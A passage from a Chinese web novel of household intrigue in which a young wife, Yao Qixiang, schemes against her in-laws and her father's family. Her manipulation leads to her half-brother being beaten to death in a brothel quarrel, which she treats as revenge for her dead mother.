可当她重新躺到床上的时候,反而全然没了睡意,脑子里全是刚刚听到的声音,朦胧的,混着水声,一下一下往她耳朵里传来,有种说不出的味道,弄得她心里也有些痒痒的…… 这一夜,姚戚香睡得并不安稳,于是在第二日孟扶危起身去上朝的时候,身侧刚动了动,她便醒了。 同房几次,姚戚香还是第一次瞧见他晨起穿衣的模样,之前她睡得熟,还以为会有女使进来伺候,今日见了才知,原来孟扶危都是自己更衣的。 姚戚香坐起身:“我帮你?” 她只是象征性问了一句,觉得按照孟扶危的性子,八成是会拒绝的,说什么不必了、不麻烦她了之类的,所以她依旧待在床上,并没有要下床的意思。 谁知,孟扶危开口:“好。” 姚戚香:“……” 她不得不起身,从孟扶危手中接过他的腰带,开始研究这究竟要怎么穿戴。 耳边传来声音教她:“翻过去,里面有个暗扣,搭在后腰的扣子上卡进去,不要太用力。” 姚戚香依话照做,很快她发现,按照这样的姿势,她不得不贴进孟扶危怀里,双手环住他的腰身,鼻息间全部都是孟扶危的气息。 这是一个极暧昧的姿势,姚戚香尽量想做到脸不红心不跳,然而与此同时,她脑中又不可避免地想起昨夜她听见的那些声音。 她摸索着,指尖不可避免地触碰到孟扶危的后腰,她又忍不住想起昨夜孟扶危褪了衣衫站在床边时,她所瞧见的他紧实的腰窝。 根本……不像文臣,哪里都不像。 “够不到吗?”他微沉的声音从头顶传来,带着一丝晨起后的慵懒,就近近响在她耳畔,像是在贴着她的耳朵说话。 姚戚香本能地一颤,想要往后缩,然而孟扶危已经将双手搭上她的手背,就着她的手将腰带给扣了下去。 他十指修长,能够完全将她的手拢进去。 姚戚香懵然,她忙说:“我、我不大熟练。” “无妨。”他的声音始终淡而又淡,好像从来没有什么情绪,“多试几次,就好了。” 姚戚香这才意识到她给自己埋了个坑,她一时兴起而已,难道还有下回、下下回不成? “你这两日,似乎不必去云栖堂请安?”孟扶危穿好了衣服,垂眸看着她。 “嗯……”姚戚香拖长了声音应着,她没好意思说她在公爹的茶水中下了壮阳药,使得常氏不能早起,另寻了旁的借口,“婆母这些日子身子不适……体恤我,让我不必过去。” 孟扶危的眼中掠过一丝浅淡的笑意,只是姚戚香低着头,她没能看到。 他道:“嗯,钟嬷嬷那边,若是觉得累,可以跟她告假,你让茗玉去知会一声,自己歇息便可。” 真的!?姚戚香眼前一亮,她蓦然抬头,便与孟扶危那张脸直接对上,他子夜般的双眸投下,其中仿佛有淡淡的星辉闪动。 姚戚香呼吸一轻,目光从他的眉眼,扫过他淡色带着薄红的嘴唇,看上去似乎很好亲。 梦中的触感好似还能感觉一二,姚戚香情不自禁回忆起昨夜梦里她是如何与孟扶危亲吻。 荒谬!她何时竟开始纠缠起这些来!都怪孟扶危,昨晚好好的脱什么衣服! “好,我记着了。”姚戚香忙又别开了眼,否则她真怕自己不由分说去亲他一口。 美色向来是误人的。 穿戴好了衣服,姚戚香便目送孟扶危离开,他走了几步,又折身向她瞧来,颀长身形站在轩窗处投下的晨光之中,有种说不出的亲近温暖。 “你可还要去姚家?”他道。 姚戚香自然是要去的,她让红绡把事情都办了,怎能不再去推把力? 于是她点了头。 “嗯,等我下朝回来,我陪你去。” 说完,他不等她回答,便转身走了。 姚戚香坐回床上,深吸了一口气,她有种感觉,虽然她与孟扶危已然成亲多日了,可好像从昨夜,他们才开始正式做夫妻。 第24章 第24章 他是个一杯倒 “太傅!我真的错了, 我以后再也不随意出宫了!” 东宫大殿,太子李清紧张兮兮揣着袖子,在孟扶危身边认错, 他见孟扶危神色没有丝毫松动, 又哀声道:“真的!我再也不出宫了!以后有什么,我都听太傅的,再也不乱跑了。” 孟扶危正在检查太子功课, 他提笔批了几页, 才道:“殿下素来安分,是何人在他耳边提了千味楼的事?” 太子身边的吴内官道:“大人,因春日祭典刚过,殿下在那天累着了, 一连好些日子除却上朝什么地方都没有去, 也没有旁人来拜见。” 闻言,孟扶危目光落在太子身上,后者低着头,根本不敢抬头看他。 “那殿下为何突然有了兴致去了千味楼?又是如何恰好被那批邬国的死士得知了去向?” “我不知道……”年轻的太子一脸茫然,“我想去千味楼吃羊肉炙,也是一时兴起的, 除了吴内官, 私下也没告诉过别人……” 被点名的吴内官闻言扑通一声跪了下来:“殿下!奴婢对您忠心耿耿!绝对没有做出不忠不义之事啊!” 孟扶危蹙起眉,神色中隐现几分不耐, 陛下说得不错,他对这个儿子满怀希望, 情不自禁溺爱,所以太子李清虽知礼贤德,但论谋略却是远远不足。 他既容易受人挑唆, 又不会多思多虑,事后复盘,现在事情发生,问他什么便是这样的一问三不知。 昨日,若非他恰好出现在那里,只怕到李清死了他才会知晓这个消息。 “去将此事上报陛下。”孟扶危告诉伏地的吴内官,吴内官飞快从地上爬起,感激地道了几声谢,连忙出了大殿。 “太傅……”太子开口,“这背后的人还能查得出来吗?” “唯一的活口已于昨夜毒发身亡,在他们来之前,就已经服了毒药,大理寺没能问出什么来。”孟扶危道,查案的事不归他管,其中内情他也不会过问。 太子神色怏怏,喃喃道:“孤再也不离开东宫了。” 此事眼下得不到丝毫进展,交代了新的课业之后,孟扶危便离开了东宫回府,要如何决断最终还是要看陛下的意思。 姚戚香是已经穿戴完毕,只等着孟扶危回来赶去姚家的。 她备了几箱薄礼,画了淡妆,特意让茗玉给她找来两件看着贵重但又放旧了的首饰戴上。 茗玉不解,但是也没有多问,只是好奇地看着,横竖姚娘子的很多心思,她都猜不出来。 孟扶危回来的时候,便看见她在镜前描妆的模样,实话说,他这位夫人虽然天姿国色,但上妆的手艺实在不怎么样。 不过他清楚,今日她是故意这样的,故意在脸上留下一些明显的上妆痕迹,故意彰显出她在孟家连个好用的妆发女使都没有。 就连她身上穿的那件衣服,也是上次回门时穿的。 孟扶危默然立在一侧,并未出声打断她。 姚戚香是不经意一瞥才瞧见他的,冷不丁被吓了一跳,她摸着心口慢慢起身,想起早上的事不免生出些尴尬,可又多了种自然的亲近。 “怎么来了也不吱一声?”姚戚香转了转眼珠子,朝他走近,“瞧我今日妆化得怎么样?” 孟扶危看着她走来,昧着良心:“不错。” 姚戚香于是瞥他一眼,什么也不懂。 她压低了声音,小声道:“跟你商量件事?” “嗯。”孟扶危不觉直了直后背,她说话的时候气息搔在他颈侧,痒痒的。 姚戚香浑然不觉,继续道:“一会儿去了姚家,你能不能冷漠一些,就是比上次回门那会儿还要冷漠,再对我不耐烦一些?” 孟扶危垂眸看了她一眼,回答:“装不了。” “……”姚戚香又想瞥他一眼了。 然而很快,他又说了下半句话:“我尽量不说话就是。” “好!那也好。”姚戚香这下满意了。 这会儿过去差不多正是吃午饭的时候,姚戚香有些嫌弃去了姚家肯定又要影响吃饭的心情,想提前垫点东西,去了趟小厨房发现竟然没什么可吃的。 “奇怪,我昨儿分明瞧见弄的小酥饼还剩下好几块,怎么不见了。”她说话时虽然孟扶危在场,但这话多半是自言自语,根本没指望孟扶危能回她句什么。 谁知孟扶危破天荒答了话:“……许是下人收走了。” 姚戚香回过头看了看他,“噢”了一声收拾东西上马车了。 孟家来人,与姚家来说是一件好事,因为这样可以彰显孟姚两家来往密切,别人知晓这两家关系好,那姚振廷的仕途也能松快些。 于是每次来,姚振廷都是要拉上邓氏亲自去迎的。 上回过来回门的时候,姚戚香见了邓氏尚且要假笑三分,可这回邓穗音发现她不笑了,反而一张脸好似刚吃了苦瓜一般,再看孟扶危——那脸冷得都要结冰了。 邓氏不由自主便心中一喜,这两人怎么了这是? “父亲,母亲,女儿想你们了。”姚戚香道,她说这句话时的口吻热络,目光却有些闪躲,邓穗音全数看在眼里。 而姚振廷本就与这个女儿算不上亲近,被这么一说一时有些无所适从,不过女儿回来他还是高兴的,毕竟只要她来,那便是孟家的人来。 “去里面吧,家里都备好饭菜了。”姚振廷笑着。 “岳父上次的书看完了吗?”孟扶危问,“可还需要?我倒是还能让你去再寻些。” 姚振廷笑得更假了,忙道:“不用!不用!上回的还没看完呢!我这阵子刚忙完春祭的事,还没来得及看呢。” 谈话间,姚戚香始终紧咬着下唇,已全然不如上回有神采了。 邓穗音目光流转,于心中飞快猜测着缘由。 一家人入了正厅,互相谦让着吃了些菜,姚振廷死性不改,见过了半场姚戚香都甚少开口说话,便忍不了说教的本性,开口叫她如何贤惠、如何知书达理、如何侍奉公婆。 期间,姚戚香竟一句都不曾反驳,看上去甚至有些唯唯诺诺,极大地满足了姚振廷的虚荣心。 本来这样也就结束了,谁知到最后,孟扶危突然开了口:“怎么?岳父对如何为人妻母也有研究?” 姚振廷怔了一下,朝孟扶危看了过去,紧接着就被他眼中的轻蔑和不屑震得心里一个咯噔。 突然反应过来的姚振廷悔得只想抽自己的嘴,他怎么忘了?他这女婿本来就是瞧不上姚家的,在要是在陛下面前提上一句,说他姚振廷平素只会说些家长里短,那他以后还怎么升官! 冷汗自他颈后流下,姚振廷忙道:“没有没有……也是我多嘴,只是担心我这女儿惹出什么祸事。” 邓穗音原还想开句玩笑调和气氛,但是一看孟扶危那个脸色又不敢应声了。 这世道,哪儿有小辈给长辈脸色看的? 今日姚成碧没有出来迎客,倒是姚太初还在,姚戚香就知道她这继母一定不会撇下这个儿子放进角落里吃灰。 午饭吃得差不多了,姚振廷主动提出带孟扶危去廊下走走,邓氏也不愿与姚戚香多待,横竖她知道姚戚香过得似乎不大如意,正想起身离开时,她耳朵尖,听见姚戚香悄悄跟姚太初说了句话。 邓穗音猛地站住脚步。 “……就算姐姐和你不是一个母亲生的,但到底打断骨头连着筋,太初以后不会忘了姐姐吧?” 姚太初脑子不大灵光,受亲娘的影响,他对这个姐姐自然是很厌烦的。 可谁叫……这个姐姐刚刚叫他的名字时,偷偷给他塞了好几片金叶子呢。 姚太初就没甩下人走,为了这几片金叶子也得应付几句,嗯嗯地敷衍着。 姚戚香见他应声,更是激动地红了眼圈,接着道:“那咱们两个就说好了,以后太初发达了,可不能忘了姐姐。” 哎哟,好烦,这一个劲地说什么呢?姚太初有些不耐烦了。 “哟。”邓穗音这时才出声,本来都走了的人又绕了回来,像是今天才认识姚戚香似的笑眼看她,“我这是听错了不成?戚香,你嘀嘀咕咕说什么呢?” 姚戚香的神色立刻恢复了冷淡:“没什么。” “没什么?”邓氏冷笑,“我刚刚一个字一个字听得清清楚楚的,怎么?在夫家过得不顺畅不成?竟打上我儿子的主意了?你跟他,是一个肚子里生出来的吗?” 姚戚香一下子站起身,理论道:“是不是一个肚子出来的,总都是姚家的吧?一家子人一荣俱荣,一损俱损,我可是嫁到了孟家,你问问父亲,愿不愿意与我这个女儿断了联系!” “你!”邓穗音正要变脸,遂又想起姚戚香这是已经在孟家受了冷眼了,她本来还在怀疑,眼下见姚戚香如此伶牙俐齿地与她分辩,反而确信了。 邓穗音转怒为笑,道:“就算你嫁去了孟家又如何?我的儿子到底是我生的,还能与你这个外人一条心?你倒是能耐,有种别回姚家来啊。” 两人私底下早就撕破了脸,现在也不必装了。 姚戚香道:“说到底,你又能比我好到哪儿去?我听说你这些日子都在找那个外室的下落,至今一无所获吧?” 邓穗音白了她一眼,没好气道:“我就算再不济,在这姚家我也是主母,无论如何也没人能动摇我的位置。” “是吗?”姚戚香轻笑,“那倘若那雪姨娘生了个儿子呢?” 她字字诛心:“倘若她生了个脑子正常的儿子呢?” 邓氏脸色唰地一白,猛地朝她看来,抓住姚戚香的双臂道:“你怎么知道?你是不是看见了?那个贱人怀了个儿子?” 姚戚香拂开她的手,道:“怀的是不是儿子有什么打紧?你应该清楚,我那父亲本来也不是好色的人,从前我母亲在时,你用手段让他纳了你,后来你上位了,他这么些年也没在外面有过人,如今为什么有了,你难道不清楚吗?雪姨娘生不了,他自然还会找别的女人生儿子,要紧的是你的儿子,他并不中意啊。” 好不容易得来的儿子竟然是个痴傻的,这无疑是邓穗音心中最深的痛,她为自己筹谋多年,没想到会毁在这个蠢儿子身上,如今年到半百,她什么都没有了,又和丈夫生了嫌隙,自然是气急。 “你到底想说什么?”邓穗音道。 姚戚香:“我的意思很清楚,孟扶危虽不喜我,但我到底是他的正妻,我到底身在孟家,姚太初若是一辈子都痴傻,一辈子没有出路,你觉得等雪姨娘进了门,父亲还能给你主母的尊容吗?” “不可能!”邓穗音出声打断,这些年里,她的朋友也好,娘家人也好,谁不知道她与姚振廷是如何恩爱和谐,要是让外面那贱人进了门,那她这些年算什么?笑话吗? “大不了,我让那贱人生不出就是了。”邓穗音冷笑一声,竟是一点也不装了。 姚戚香也笑:“你试试。” 她凑近邓穗音耳边道:“试试你若是弄掉了父亲心心念念的儿子,他会不会杀了你。” 邓穗音面如土色,她恼恨地看了眼姚太初,道:“那你能怎么样?” “我自然可以想办法让孟家人给他一个官做,条件便是今后我若在孟家过得不好,你们须得接济我,否则这事我便不干,横竖我还年轻,咱们就瞧瞧谁先沦落个惨淡收场!” 邓穗音飞快地抓住她的袖子:“你说真的?你要怎么做?” “此事我还得从长计议。”姚戚香皱眉,“都怪父亲,之前拒了我婆母的事,眼下我在婆母面前都不得脸了,不得等先讨好了她再说。” 邓穗音将信将疑:“你会有这么好心?” “好心?我若不是实在无法,我会这样吗?”姚戚香冷声,“我真是嫁进了孟家才明白,女人膝下还是要有一个儿子,只要有了儿子,管他是痴的傻的还是正常的,那就是一份倚仗。” 邓穗音眯了眯眼,始终有些不信,她没有忘记姚戚香上次回门时自己的直觉,她当时直觉,孟扶危好像没那么讨厌姚戚香,就算姚戚香买官那件事办得是蠢了些,可孟扶危与他那继母本来也不怎么好吧?还能因为这件事疏远了姚戚香? “怎么,你不信?”姚戚香当着她的面拉起了袖子,而后邓穗音便目露惊异。 姚戚香的手臂上,竟有一枚完好无损的守宫砂! “你们没有……”邓穗音一惊,随后她的表情又化为嘲讽与狂喜,“哈哈哈哈,姚戚香,你可真是一个笑话。” 姚戚香冷眼瞧着,这下邓穗音总该相信她了。 “我这两天手头有点紧。”姚戚香道,“你先借我点银子周旋,三五百两即可。” 邓穗音睨了她一眼,本想再吊吊姚戚香的口味,可转念一想这也是在为她的儿子办事,便什么都没有说,嘲讽地扫了她几眼便转身离开,去拿钱了。 这下,姚戚香终于得了片刻与姚太初独处的机会。 她露出灿然又明媚的笑容,款款在姚太初面前坐下,温声细语:“弟弟呀,我的好弟弟,你可是姚家的未来,姚家的希望呀,母亲疼你爱你,父亲更是只有你一个儿子,如今姐姐我嫁入孟家,你身后便也有了孟家,知道孟家是谁吗?” 姚太初看着她,眼神有些发愣,孟家?他好像很耳熟,又好像…… “孟家,便是这京城顶了天的世家大族,有了孟家,没有人敢惹你,好弟弟,你可是咱们姚家光宗耀祖的好宝贝,这天底下,你想要的东西,有什么是得不到的呢?” 姚戚香笑着,又悄悄塞给姚太初几片金叶子。 “这天底下,所有的美人都是你的,只要你要,不论是谁,他就给乖乖奉上给你。” 一字一句,宛如蛊惑一般传入姚太初耳中,姚太初懵懂的神情中闪过一丝清明——他这些天,当真有个美人…… “记住了吗?我的好弟弟,你身后有孟家便是有了一切,谁要是敢挡你的路,不听你的话,那他就得死。” 姚戚香轻轻吐息,好似毒蛇吐信,在姚太初耳边重复了一遍又一遍,温声细语将姚太初哄得不知身在何处了。 “姐姐给你的这些金叶子,你可要藏好了,若是被母亲知道,她定是要搜刮了去的。”姚戚香道,“这些金叶子价值不菲,弟弟想要什么都唾手可得了,这世上最美的故事,那到底还是才子佳人,美人在怀呀,为佳人一掷千金,这盛京谁会不知你的名姓?” 姚太初闻言,将金叶子都妥帖收好,面上已然露出淫邪的遐想来。 姚戚香冷冷收回了目光,起身,准备打道回府。 须臾后,孟扶危见她端正站在檐下,便知她要办的事已经办完了。 “岳父大人闲时还是要多看些书,毕竟那些书已经在陛下眼前过了明路了,倘若哪日陛下想起来询问,岳父对答如流,也能给陛下留一个好印象。” 姚振廷心中叫苦不迭,明面上却是一声声答应。 孟扶危没有再与姚振廷浪费时间,转身告辞了。 马车上,姚戚香把玩着邓穗音给她送来的银子,竟还是一个一个的银元宝,看上去体面得很。 “你要钱做什么?”孟扶危道。 姚戚香勾了勾唇,笑看着他道:“孟大人,我想用这些钱让你给我弟弟弄个闲官来做。” 孟扶危微微蹙眉,却还是问:“什么时候?” “如今开春时候尚早。”姚戚香道,“那就等猴年马月吧。” 她盯着银元宝笑着,乌黑的美目中透出无限狡黠,这下连孟扶危也知道,他这位夫人肚子里定然又在冒坏水了。 回了孟府,姚戚香要做的第一件事布局已成,只待收网了,她心情不错,去让茗玉给她温壶酒喝。 待茗玉一走,姚戚香便问红绡:“今夜,你可有去云栖堂下药?” “嗯。”红绡点头,“我怕总下在茶水中他们会察觉,这次下在了孟祁柏惯爱用的药玉壶里。” 说完,她又用耐人寻味的眼光看了眼姚戚香——给自己的公爹下药好让婆母早上起不来床,免了自己的晨昏定省,这种法子她究竟是怎么想出来的?简直是路子诡异。 “今晚呢?我还去吗?”红绡问。 “昨夜你去时,他什么反应?” “姚太初甚至不知道是我在学口技,他以为自己在做梦。” “好。”姚戚香笑了笑,“那今夜就再给他添一把火。” 没一会儿,茗玉带着温好的酒过来了,姚戚香瞥向她身后,一同来跟来的居然还有春绿。 “……娘子。” 黑夜中,春绿站在门前,还有些后怕地看了看身后。 “春绿呀。”姚戚香朝她招了招手,“快进来。” 春绿快步走进,茗玉关上了房间的门。 “这么晚来,是有什么事吗?”姚戚香问。 春绿道:“上次……上次姚娘子问我要不要做掌事姑娘的事,还作数吗?” “啊……那个呀。”姚戚香露出思索的模样,“过去了这些天,我还以为你不想做呢。” 春绿一惊:“娘子已经……有了新的人选吗?” “那倒是还没有。”姚戚香道,“只是在想,不如就让春竹做了得了,我也省得麻烦。” “娘子!”春绿扑通一声跪了下来,“奴婢愿意做!奴婢愿意为娘子办事!求娘子将这差事赏给奴婢吧!” “哎呀这是做什么,快起来。”姚戚香扶起她,“也不是什么大事,怎么就值得你这样相求了,也罢,你要是真的想做,定你也不是不行,不过咱们可说好了,你既然答应要做,就把差事给我做得漂漂亮亮的,别出了岔子,可我还不如叫春竹来办呢!” “娘子放心!”春绿道,“奴婢定然不会让娘子失望的!” “好。”姚戚香笑了笑,她从手上取下一个漂亮的玉镯,随意套在春绿手上,“那这边算是你晋升的贺礼吧,待明日我便让人将你升官的事昭告院子里的下人,如何?” 春绿收了镯子心中更是感激涕零,再次拜谢道:“多谢娘子抬爱!” 姚戚香看着她出了门,才缓缓给自己倒上了一盏酒。 此刻孟扶危也正巧从书房回来,进屋嗅见酒味,不由朝她看来。 “可要尝尝?这酒香醇得很。”姚戚香摇了摇自己面前的酒壶。 孟扶危本想拒绝,可旋即他想到了什么,便也上前坐了下来。 孟扶危深有自知之明,比如,他知晓自己的酒量很差,近乎是个一杯倒。 第25章 第25章 她要姚家陪葬 姚戚香让茗玉温的是黄酒, 滋味浓醇又带着细微的甜香,她很喜欢这个味道,每当心情好的时候, 就会拿出来饮一些。 以前都是她一个人喝, 难得今日孟扶危也想要一起。 “这是我在自己院子里酿的酒,成亲的时候被我带过来了,很难醉人, 不过你既然时常在朝中, 酒量应该不错?”姚戚香一边给孟扶危倒了一盏,一边同他闲话。 孟扶危拿起酒盏,在鼻尖嗅了嗅,气味并不刺鼻, 反而是股淡淡的酒香, 他慢饮了一口,忍不住称赞:“味道不错。” “那是自然!”姚戚香轻笑,对孟扶危放下防范之后,姚戚香的心情也轻松了不少,至少在孟府,她不必像在姚家一般防着所有人。 只要孟元德的事情一落定, 想来常氏一时半会儿也拿不出什么能够为难她的事, 到时候她便能一心去做自己的事了。 “孟扶危。”姚戚香开口,“如果将婆母从主母的位子上拉下来, 你会乐见其成,还是会出手阻止?” 孟扶危慢慢饮完了一盏酒, 才道:“这件事,你做与不做,我都无所谓。” 姚戚香倒是有些稀奇:“你对婆母并无怨恨, 是吗?” 孟扶危道:“她不过是父亲的续弦,有了自己的儿子,自然对我不好,我对她这个人谈不上有什么情绪,所以你想做什么都无需顾忌我。” 这正是姚戚香想问的,怎么说孟扶危也是救了她一命,眼下正是两人的关系更进一步的时候,她并不想得罪孟扶危,那么她就得先打听好孟扶危对常氏的态度。 “不过有件事,我要提醒你。”孟扶危道,“你需要在孟家提防的人,也许不止她一个。” 姚戚香一顿,孟家中,她的公爹这边是长房,膝下又有孟扶危这样出色的儿子,无论怎么看光辉都胜过其余两房了,她还记得二房的孟极,身材臃肿肥胖,不像是个精明之人,三房的孟檀年纪又不算很大,且那日相见态度格外疏离,怎么也不像今后会有交集的样子。 “这是什么意思?”姚戚香问,难道孟家还有人盯着主母之位? 他开口:“你于孟家是外人,比起你来做孟家的主母,他们自然更愿意由更加熟悉的人来把持,毕竟这些年,他们在吃穿用度上从未被苛待过。” 姚戚香若有所思。 “所以,我应该先把其余人都收买过来?”姚戚香一边思虑,一边回忆敬茶那日她看到的二房和三房的模样,“他们的穿着并不像是缺钱的人,所以拿银子收买这条路是走不通的。” 见她自己领悟了大半,一旁的孟扶危目中不觉露出赞许,他就知道,她一点就通的。 “时候不早了。”孟扶危起身,“歇吧。” “嗯,嗯……”姚戚香还在思索,应得心不在焉,便没有注意到身后的孟扶危看着她的样子,轻轻叹了口气。 她很迫切。孟扶危面色沉静如水,她很迫切地想要做到,这种状态让他预感并不大好。 下药的事,姚戚香并未让红绡天天去干,如若这般,那再蠢的人都会觉出里面的不对劲来了。 这日她照常过去请安,常氏又隐晦提起了孟元德之事。 姚戚香突然就开始好奇,为什么常氏会对此这般迫切,就算孟元德是个孬种,在读书方面实在不长进,可孟家如此大族,难道还会让孟元德没有潇洒日子过吗? 她看着她这位雍容华贵的婆母,心中暗暗猜测——常氏的野心应该不限于这个主母,她或许还想让自己的儿子承托起整个孟家,掌管孟家。 可前面挡着一个孟扶危,孟扶危在朝中已经坐到了顶天的位置,就算孟元德再风光也不会盖过孟扶危去,所以,常氏一定想要孟扶危死。 新婚之夜,常氏借着桂花油来骗她给孟扶危下毒,其实并不是随口说说的,她这个婆母是真的想要杀死孟扶危。 只有孟扶危死了,才没有人能挡孟元德的路。 但孟扶危却不能眼下马上就死了,没有了孟扶危,孟氏的势力势必会衰败下去,毕竟她来前就已经打听到了,孟氏一族这一辈出息的子孙很少。 孟极不堪只知玩乐,而孟檀又还小,似乎在读书上也没有什么大长进,孟家表面风光无量,但其实就靠一个孟扶危撑着。 姚戚香突然发现,她这夫君其实真的很行,凭借一己之力成了孟家的中流砥柱,而这样的人,往往与孟家所有人都不会很亲近。 她感到好笑,她与孟扶危在自己家中,怎么完完全全是一样的存在呢?只不过孟扶危身有官职,尚能换一副天地大显神通,而她没有罢了。 “婆母放心!”姚戚香面上露出得意的笑来,“儿媳已经全部安排妥当了,只等二弟什么时候有时间,与那考官见上一面,一切就都顺理成章了。” 她这样的话让常氏也听得愉悦,不过常氏还是淡淡瞥她一眼,端着脸道:“你可确实办妥帖了吗?那考官凭什么听你的话?” 姚戚香笑:“婆母,外面的人,可也想攀附孟家呢。” 听见这话,常秋兰才算松懈了神情,连带着也松了口:“嗯,二郎今儿出去了,明日我让她跟你去见人,可莫要再给我出了什么岔子。” “婆母放心!”姚戚香笑。 她垂眸,孟元德今夜出去了。那么姚家的那条狗,也该放出来咬人了不是? 是夜,华灯初上,盛京笼罩在一片繁华盛景之中,文人骚客往来不绝,正是烟花柳巷做生意的时候。 “少爷今儿个怎么突然想出来玩?”小厮阿大跟在姚太初身侧,小心伺候着。 姚太初摇摇头:“美人,要美人。” 阿大道:“少爷房中的难道不是美人?” “你懂什么?”姚太初被问得烦了,不想与他纠缠,“才子佳人,才是美人!” 纵然阿大是从小跟在姚太初身边伺候的人了,这辈子也没动过什么歪心思,可姚太初是个傻的,跟在这个一个人身边,时间久了,总会生出怠慢和不屑来。 阿大瞥了姚太初那蠢样一眼,努努嘴,大字不识一个的蠢猪,还才子佳人呢。 迷迷坊大门敞开,迎四方来客,姚太初目中满盛着里面的金光,大摇大摆走了进去。 “哟,这位公子可是稀客。”立刻有人上前侍奉,这里的人不论男女,个个都修成了人精,一双眼睛往人身上搂一眼,便知其穿的衣服价值几何,家中官阶在什么品级,是大方的主还是吝啬的主。 姚太初的长相实在不算精明灵光,看着便是好骗的那一类。 “我,要曼荷。”姚太初语气坚定。 迎他的女子微微一愣,朝一龟公招了招手。 “怎么?”那人道。 “曼荷。”女子的眼睛往姚太初身上扫了几圈。 龟公看着姚太初一会儿,露出个笑脸:“这位公子,实在是不好意思,曼荷姑娘已经有主了,要不您再……” “曼!荷!”姚太初大喊出声,一边用力拍打着自己的双股。 见他这个模样,龟公嫌弃地直皱眉,可很快他的眼睛便是一直,盯着姚太初手中来回捣鼓的金叶子移不开眼了。 哟,这还是个有钱的主! “去问问,孟公子今晚来不来。”龟公道。 女子闻言有些为难:“这……会不会不太好?” “你怕什么?”龟公理直气壮,“曼荷是咱们的人,难道还会跟孟家告状不成?等那几片金叶子到了她手里,她笑得比谁都欢。” 倒也是这个道理,女子去了,须臾后又出来,对龟公道:“本来是要来的,刚刚又遣人说不来了。” “……噢。”龟公笑容登时放大,看向姚太初做出个请势,“公子里面请,小的这就去给您找曼荷姑娘!”- “他娘的真晦气!”孟家门口,孟元德骂骂咧咧,“你说她是不是脑子有病?拉着我半天说了些什么?全是一堆废话!” “公子莫气,她呀,低门小户出身的货色罢了,上辈子烧了高香这辈子才嫁到孟家来,还不上赶着对谁都要腆着脸讨好?下次咱们见到她绕道就行了。” “烦死了!简直跟又多了个老娘一样,管天管地还管到老子头上来了!”孟元德催促,“快驾车,赶紧去找曼荷!” 几刻钟后,孟元德的马车停在了迷迷坊外,他摇着金扇下车,大摇大摆走进迷迷坊,看见他来的龟公却是脸色一变。 由于太过熟门熟路,孟元德甚至没有叫人,径直就往曼荷的房间走。 “哎哎哎!孟公子!”龟公连忙拦了上来,假笑道,“曼荷还在梳洗呢,稍等一会儿吧!” 若是在平日,孟元德可能还会调笑几句,可他眼下心情不佳,一脚就踹开了龟公,叫骂道:“没长眼的狗东西!什么人都敢拦!” 说罢便大踏步上了楼。 不好……不好…… 龟公心中警铃大作,要出事! “快,赶紧叫人来!” 然而,还是晚了一步。 孟元德进门时,直直看见一男子光着膀子,撅着腚,压在他的曼荷身上,正在解曼荷的衣服。 本就十分不爽的孟元德顿时火冒三丈,大喝一声:“哪儿来的孙子找死!敢动你爷爷的女人!” 孟元德身边的小厮立刻上前,将姚太初一把撕了过来,曼荷精明,扫了这一眼还有什么不明白的,当即慌神地往孟元德身后跑,落下几滴泪来。 “二郎,吓死我了,我正在小憩,不知道是什么人突然闯了进来!你可要为我做主啊!” 其实这件事,只要孟元德稍有理智就会觉得不对,这迷迷坊中姑娘的床岂是什么人都能闯进来的?他刚一进门,就有个龟公拦着他。 可眼下孟元德怒火攻心,已经什么都听不进去了。 “给我打!哪儿来的混账羔子!给我照死了打!” 此时,姚太初的小厮阿大正在另一件房中快活,按理说,主母是不允许他带少爷出来的,可这件事已经成了他们主仆二人间不成文的规矩,但凡姚太初来了这种地方,那么当晚阿大也能顺便松快一回,是以阿大从不阻拦,甚至还很乐意。 他正在兴头上,浑然不知自己的主子正被打得满楼道乱窜。 “啊!啊!!!”姚太初嘴里大叫着,光着身子到处乱跑,一张蠢脸上涕泗横流,“娘!啊!有人打我!救我啊娘!” “贱东西,竟还是个傻子!”孟元德冷笑,“给我打断他的腿!老子要他这辈子都做不成男人!” 完了!完了!天塌了! 迷迷坊的人惊惧交加,龟公忙对人道:“快!快去报官!要快!” 再这样下去,他这迷迷坊就要闹出人命了! 松风堂内,姚戚香站在窗前,正徐徐摇着扇子,她一双乌溜溜的美目中噙着抹深笑。 她的母亲死了。 她要姚家所有人,都给她的母亲陪葬。 能进孟家当差的下人,那身手可不是盖的,那得是数一数二的下人尖子,才能进孟家伺候。 孟元德怀抱美人,站在二楼冷眼看着姚太初被打,眼中满是快意和讥讽,同时又觉得自己在美人面前逞了好一通威风,真是得脸。 曼荷冷眼觑着,心中已有了主意,楼下这傻子已经被打成这样了,只怕非死即残,横竖这是个傻子,有什么事便往他身上推,可别祸害到迷迷坊来。 她笑着依偎在孟元德胸前,仿佛已被他的英姿迷得头晕目眩,细声细气又娇滴滴道:“二郎真是威武!妾身要一辈子都跟着二郎!” 吵嚷声中,看热闹的人比比皆是,甚至还有人拍手叫好,女人的奉承令人摸不着北,孟元德满眼的得意。 他就是要这些人看看,他孟二公子是何等威风,哪怕是要一条人命,也没人奈何得了他! “给我打!”孟元德神色阴狠,“给我弄死他!” 拳脚相加,都是要命的手法,不多时,躺在地上四处打滚的姚太初断了气。 这一幕落在曼荷冰冷的双目中,她缓缓勾了下唇——死了,这下好了。 打死人的是孟元德,与迷迷坊又有什么干系。将所有事往姚太初身上一推,他们只说不清楚没看见,她才是这件事中的受害者。 曼荷缓缓摇了两下扇子,躲在孟元德身后,她说:“二郎,我怕……” 报官又有什么用呢?巡防兵一听闹事的人中有孟家,便有意拖延,等他们到了,姚太初的尸体的热气都快散了一半了。 只要是死了人,这件事就要交给官府,交给刑部的人去管,跟他们巡防的人就没关系了。 一夜之间,盛京掀起一场不大的风波。 礼部五品郎中姚家,死了个儿子,而且还是独子。 可人们津津乐道的并不是人命案子,而是打死姚振廷儿子的人正是姚家的姻亲——孟家,这才是这件事中最有意思的部分。 得知此事的邓穗音已哭得昏死过去一回,院子里,跟着伺候姚太初的阿大正在被狠狠打板子,叫声凄惨无比。 不过邓穗音并未真正下死手,毕竟到了公堂对峙的时候,阿大还是个紧要的证人。 而早在姚太初前往迷迷坊后,就有人潜入他的房中,销毁了一副女子的画像。 “此事我一定要孟家给个说法!我的儿子死了,我要他偿命!”唯一的儿子死了,邓穗音已经什么都顾不上了,连平日里最看重的体面都不要了,口口声声喊着要去告御状。 姚振廷嫌她吵得头疼,厉声喝道:“你给我闭嘴!若非你平日疏于管教,太初哪里会有今日这一步!他昨夜出门,你身为他的母亲为何会不知?” 邓穗音缓缓转过了身,她双目无神地看着姚振廷,宛如今日才认识了他这个人一般。 